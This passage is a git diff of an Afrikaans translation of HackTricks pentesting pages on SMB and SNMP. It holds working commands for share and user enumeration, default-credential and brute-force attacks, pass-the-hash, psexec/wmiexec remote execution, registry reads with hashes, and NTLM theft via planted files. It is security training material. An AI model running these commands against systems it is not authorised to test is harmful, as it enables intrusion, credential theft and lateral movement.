sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geĂŻnisieer wanneer een toepassing (wat as die kliĂ«nt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geĂŻdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lĂȘers, drukkers, seriĂ«le poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun. +Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geĂŻdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lĂȘers, drukkers, seriĂ«le poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van port 445. Aan die ander kant, op verskillende stelsels, word die gebruik van port 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word. ``` @@ -18,17 +18,17 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T ``` ### SMB -Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lĂȘers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. PrimĂȘr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met diĂ© wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. +Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lĂȘers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. PrimĂȘr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met diĂ© wat ouer weergawes draai, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. -Aandeel, wat **arbitraire dele van die plaaslike lĂȘerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiĂ«rargie gedeeltelik **onafhanklik** van die werklike struktuur van die bediener sigbaar maak. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. +Aandeel, wat **arbitraire dele van die plaaslike lĂȘerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiĂ«rargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliĂ«nt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. ### IPC$ Share -Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van: +Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat deur benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van die volgende in staat: - Inligting oor die bedryfstelsel -- Besonderhede oor die ouer domein -- 'n Samevoeging van plaaslike gebruikers en groepe +- Besonderhede oor die ouerdomein +- 'n Samestelling van plaaslike gebruikers en groepe - Inligting oor beskikbare SMB aandele - Die effektiewe stelselsekuriteitsbeleid @@ -54,9 +54,9 @@ nbtscan -r 192.168.0.1/24 ``` ### SMB bediener weergawe -Om na moontlike exploits vir die SMB weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy: +Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy: -- Gebruik die **MSF** bykomende module \_**auxiliary/scanner/smb/smb_version** +- Gebruik die **MSF** bykomende module `**auxiliary/scanner/smb/smb_version**` - Of hierdie skrif: ```bash #!/bin/sh @@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Soek eksploit** +### **Soek ontginning** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb @@ -82,14 +82,14 @@ searchsploit microsoft smb ### **Mogelijke** Kredensiaal | **Gebruikersnaam(s)** | **Algemene wagwoorde** | -| --------------------- | ----------------------------------------- | -| _(leeg)_ | _(leeg)_ | -| gasheer | _(leeg)_ | -| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin | -| arcserve | arcserve, rugsteun | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, rugsteun | backupexec, rugsteun, arcada | -| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo | +| ---------------------- | ----------------------------------------- | +| _(leeg)_ | _(leeg)_ | +| gasheer | _(leeg)_ | +| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin | +| arcserve | arcserve, rugsteun | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, rugsteun | backupexec, rugsteun, arcada | +| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo | ### Brute Force @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Lys gebruikers, groepe & ingelogde gebruikers +### Lys gebruikers, groepe & aangemelde gebruikers Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees. ```bash @@ -139,11 +139,11 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Oneliner +Eenvryslag ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Lys plaaslike gebruikers op +### Metasploit - Enumereer plaaslike gebruikers ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local @@ -165,9 +165,9 @@ rpcclient-enumeration.md `smb://friendzone.htb/general/` -## Gedeelde Mappes Lys +## Gedeelde LĂȘers Lys -### Lys gedeelde mappes +### Lys gedeelde lĂȘers Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik. ```bash @@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Handmatig venstersharinge opnoem en daaraan koppel** +### **Handmatig vensters deel en verbind daarmee** -Dit mag dalk wees dat jy beperk is om enige gedeeltes van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen gedeeltes is om aan te sluit nie. Dit mag dus die moeite werd wees om te probeer om handmatig aan 'n gedeelte te koppel. Om die gedeeltes handmatig op te noem, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die gedeelte bestaan en jy nie toegang daartoe het nie of die gedeelte glad nie bestaan nie. +Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. -Gewone gedeeltes name vir venster teikens is +Gewone deelname vir venster teikens is - C$ - D$ @@ -210,14 +210,14 @@ Gewone gedeeltes name vir venster teikens is - SYSVOL - NETLOGON -(Gewone gedeeltes name van _**Network Security Assessment 3rd edition**_) +(Gewone deelname van _**Network Security Assessment 3rd edition**_) -Jy kan probeer om aan hulle te koppel deur die volgende opdrag te gebruik +Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -of hierdie skrif (met 'n null-sessie) +of hierdie skrif (met 'n null sessie) ```bash #/bin/bash @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Lys deel van Windows / sonder derdeparty gereedskap** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Laai lĂȘers af** -Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind. +Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -289,36 +289,36 @@ smbclient /// > mget * #Download everything to current directory ``` -Commands: +Opdragte: - mask: spesifiseer die masker wat gebruik word om die lĂȘers binne die gids te filter (bv. "" vir alle lĂȘers) -- recurse: skakel rekursie aan (verstek: af) -- prompt: skakel vrae vir lĂȘernaam af (verstek: aan) -- mget: kopieer alle lĂȘers wat met die masker ooreenstem van die gasheer na die kliĂ«nt masjien +- recurse: skakel rekursie aan (standaard: af) +- prompt: skakel die vrae vir lĂȘernaam af (standaard: aan) +- mget: kopieer alle lĂȘers wat met die masker ooreenstem van die gasheer na die kliĂ«ntmasjien (_Inligting van die manblad van smbclient_) -### Domein Gedeelde Gidsen Soektog +### Domein Gedeelde Gidse Soektog -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Spesifiek interessant van gedeeltes is die lĂȘers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lĂȘers aangesien hulle akrediteerbesonderhede bevat. +Spesifiek interessant van gedeeltes is die lĂȘers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lĂȘers aangesien hulle akrediteerbare inligting bevat. > [!NOTE] -> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ -> Jy moet die **scripts** daarin **kontroleer** aangesien jy sensitiewe inligting soos **wagwoorde** mag **vind**. +> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ +> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**. ## Lees Register -Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer: +Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbare inligting. Impacket **`reg.py`** laat jou toe om te probeer: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -334,7 +334,7 @@ Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleĂ« in ` | `read only = no` | Verbied die skepping en wysiging van lĂȘers? | | `writable = yes` | Laat gebruikers toe om lĂȘers te skep en te wysig? | | `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? | -| `enable privileges = yes` | Eer die voorregte wat aan spesifieke SID toegeken is? | +| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? | | `create mask = 0777` | Watter regte moet aan die nuutgeskepte lĂȘers toegeken word? | | `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? | | `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? | @@ -345,7 +345,7 @@ Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind i ## Authenticate using Kerberos -Jy kan **authentiseer** met **kerberos** deur die gereedskap **smbclient** en **rpcclient** te gebruik: +Jy kan **authentiseer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lĂȘer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\ +Albei opsies sal **'n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **'n uitvoerbare lĂȘer op ADMIN$ deel laai en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload insit --**file-less technique-**-).\ **Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ In **kali** is dit geleĂ« op /usr/share/doc/python3-impacket/examples/ ```bash @@ -392,7 +392,7 @@ Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTL ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Stealthily voer 'n opdragskel uit sonder om die skyf te raak of 'n nuwe diens te begin deur DCOM via **poort 135.**\ +Stealthily voer 'n opdragskel uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\ In **kali** is dit geleĂ« op /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -419,7 +419,7 @@ In **kali** is dit geleĂ« op /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce gebruikers geloofsbriewe** +## **Bruteforce gebruikers se akrediteerbesonderhede** **Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry** ```bash @@ -452,9 +452,9 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word. ## NTLM Diefstal -Soos SMB Trap, kan die plant van kwaadwillige lĂȘers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word. +Soos SMB Trap, kan die plant van kwaadwillige lĂȘers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word. -[ sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Siende: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## HackTricks Outomatiese Opdragte ``` diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 760cbbb52..d44fbef84 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ### MIB -Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliĂ«nt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lĂȘer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiĂ«rargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\ +Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliĂ«nt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lĂȘer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiĂ«rargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\ MIB-lĂȘers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word. ### OIDs @@ -39,14 +39,14 @@ Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oi Hier is 'n ontleding van hierdie adres. -- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met “1” begin. +- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met "1" begin. - 3 – dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, aan te dui. - 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het. - 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind. - 4 – hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie. -- 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheid entiteit gemaak is. +- 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheidseenheid gemaak is. -Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is. +Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is. Gaan voort na die volgende stel nommers. @@ -68,8 +68,8 @@ Die res van die waardes gee spesifieke inligting oor die toestel. Daar is 2 belangrike weergawes van SNMP: -- **SNMPv1**: Hoof een, dit is steeds die mees algemene, die **authentisering is gebaseer op 'n string** (gemeenskapsstring) wat in **duidelike teks** reis (alle inligting reis in duidelike teks). **Weergawes 2 en 2c** stuur die **verkeer in duidelike teks** ook en gebruik 'n **gemeenskapsstring as authentisering**. -- **SNMPv3**: Gebruik 'n beter **authentisering** vorm en die inligting reis **versleuteld** (dws 'n **woordeboekaanval** kan uitgevoer word, maar dit sal baie moeiliker wees om die korrekte kredensiale te vind as in SNMPv1 en v2). +- **SNMPv1**: Hoof een, dit is steeds die mees algemene, die **authentisering is gebaseer op 'n string** (gemeenskapsstring) wat in **plank teks** reis (alle inligting reis in plain text). **Weergawes 2 en 2c** stuur die **verkeer in plain text** ook en gebruik 'n **gemeenskapsstring as authentisering**. +- **SNMPv3**: Gebruik 'n beter **authentisering** vorm en die inligting reis **geĂ«nkripteer** (dws 'n **woordeboekaanval** kan uitgevoer word, maar dit sal baie moeiliker wees om die korrekte kredensiale te vind as in SNMPv1 en v2). ### Gemeenskapsstrings @@ -80,7 +80,7 @@ Daar is **2 tipes gemeenskapsstrings**: - **`private`** **Lees/Skryf** in die algemeen Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook objekte wees wat **altyd "Lees Net"** is.\ -As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\* +As jy probeer om 'n objek te **skryf**, ontvang jy 'n **`noSuchName` of `readOnly` fout**. In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**. @@ -98,7 +98,7 @@ Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hi ## Enumerating SNMP -Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**: +Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken:** ```bash apt-get install snmp-mibs-downloader download-mibs @@ -125,32 +125,32 @@ Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant mag vind, is: **Netwerk interfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse** +**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse** -**wat** loop (kan wagwoorde bevat).... +**wat** (kan wagwoorde bevat).... ### **Gevaarlike Instellings** -In die wĂȘreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die versekerings van omvattende monitering en beheer. +In die wĂȘreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die verseker van omvattende monitering en beheer. ### Toegang Instellings -Twee hoofinstellings stel toegang tot die **volledige OID boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is: +Twee hoofinstellings stel toegang tot die **volledige OID-boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is: -1. **`rwuser noauth`** is ingestel om volle toegang tot die OID boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe. +1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe. 2. Vir meer spesifieke beheer kan toegang toegestaan word met: - **`rwcommunity`** vir **IPv4** adresse, en - **`rwcommunity6`** vir **IPv6** adresse. -Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat volle toegang bied ongeag die oorsprong van die versoek. +Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat volle toegang bied ongeag die oorsprong van die versoek. ### SNMP Parameters vir Microsoft Windows -'n Reeks van **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows stelsel deur SNMP te monitor: +'n Reeks **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor: - **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik. -- **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme. -- **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik. +- **Hardloop Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans hardloop programme. +- **Prosesse Pad**: Om te bepaal waar 'n proses van hardloop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik. - **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`. - **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geĂŻnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik. - **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik. @@ -158,7 +158,7 @@ Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat vo ### Cisco -Kyk na hierdie bladsy as jy Cisco toerusting het: +Kyk na hierdie bladsy as jy Cisco-toerusting het: {{#ref}} cisco-snmp.md @@ -166,7 +166,7 @@ cisco-snmp.md ## Van SNMP na RCE -As jy die **string** het wat jou toelaat om **waardes** binne die SNMP diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer: +As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer: {{#ref}} snmp-rce.md @@ -174,9 +174,9 @@ snmp-rce.md ## **Massiewe SNMP** -[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak – maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig. +[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak – maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te ondervra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig. -Braa implementeer sy EIE snmp stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie. +Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie. **Sintaksis:** braa \[Gemeenskaps-string]@\[IP van SNMP bediener]:\[iso id] ```bash @@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Identifiseer Privaat String** -'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**: +'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep opdrag**: ```bash grep -i "trap" *.snmp ``` ### **Gebruikersname/Wagwoorde** -Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind: +Logs wat in MIB-tabelle gestoor word, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde 